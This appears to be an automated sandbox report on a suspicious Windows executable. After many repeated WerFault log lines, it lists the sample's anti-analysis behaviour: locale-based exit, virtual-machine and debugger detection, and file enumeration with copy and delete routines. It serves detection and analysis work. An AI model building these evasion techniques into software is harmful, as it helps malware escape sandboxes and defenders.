Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-26388

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Evaded block: after key decision

graph_0-27549

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

API coverage: 6.5 %

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E430
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004138B0
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00414570
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414910
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040ED20
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE70
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DE10
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004016D0
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DA80
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_00413EA0
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F6B0
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CE697 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_022CE697
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022D3B17 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_022D3B17
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022D4B77 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_022D4B77
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CEF87 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_022CEF87
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022D47D7 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_022D47D7
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CE077 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_022CE077
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CDCE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_022CDCE7
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CF8F1 FindFirstFileA,	0_2_022CF8F1
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CC0D7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_022CC0D7
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022C1937 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_022C1937
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022D4107 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_022D4107
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022CF917 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_022CF917

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338388103.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, mJXdkcP4Wx.exe, 00000000.00000002.2338388103.0000000000810000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338357081.0000000000769000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware(
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: mJXdkcP4Wx.exe, 00000000.00000002.2338357081.0000000000769000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	API call chain: ExitProcess graph end node	graph_0-26373
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	API call chain: ExitProcess graph end node	graph_0-26261
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	API call chain: ExitProcess graph end node	graph_0-26376
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	API call chain: ExitProcess graph end node	graph_0-26416
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	API call chain: ExitProcess graph end node	graph_0-26395
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	API call chain: ExitProcess graph end node	graph_0-27802
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	API call chain: ExitProcess graph end node	graph_0-26387
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	API call chain: ExitProcess graph end node	graph_0-26215

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_004045C0 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,GetProcessHeap,RtlAllocateHeap,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,LdrInitializeThunk,lstrlenA,strlen,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,VirtualProtect,

0_2_004045C0

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041AD48

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

0_2_004045C0

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

0_2_00419860

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_00419750 mov eax, dword ptr fs:[00000030h]	0_2_00419750
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_007698AB push dword ptr fs:[00000030h]	0_2_007698AB
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022C092B mov eax, dword ptr fs:[00000030h]	0_2_022C092B
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022D99B7 mov eax, dword ptr fs:[00000030h]	0_2_022D99B7
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022C0D90 mov eax, dword ptr fs:[00000030h]	0_2_022C0D90

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00417850

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041AD48
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0041CEEA SetUnhandledExceptionFilter,	0_2_0041CEEA
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041B33A
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022DAFAF memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_022DAFAF
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022DD151 SetUnhandledExceptionFilter,	0_2_022DD151
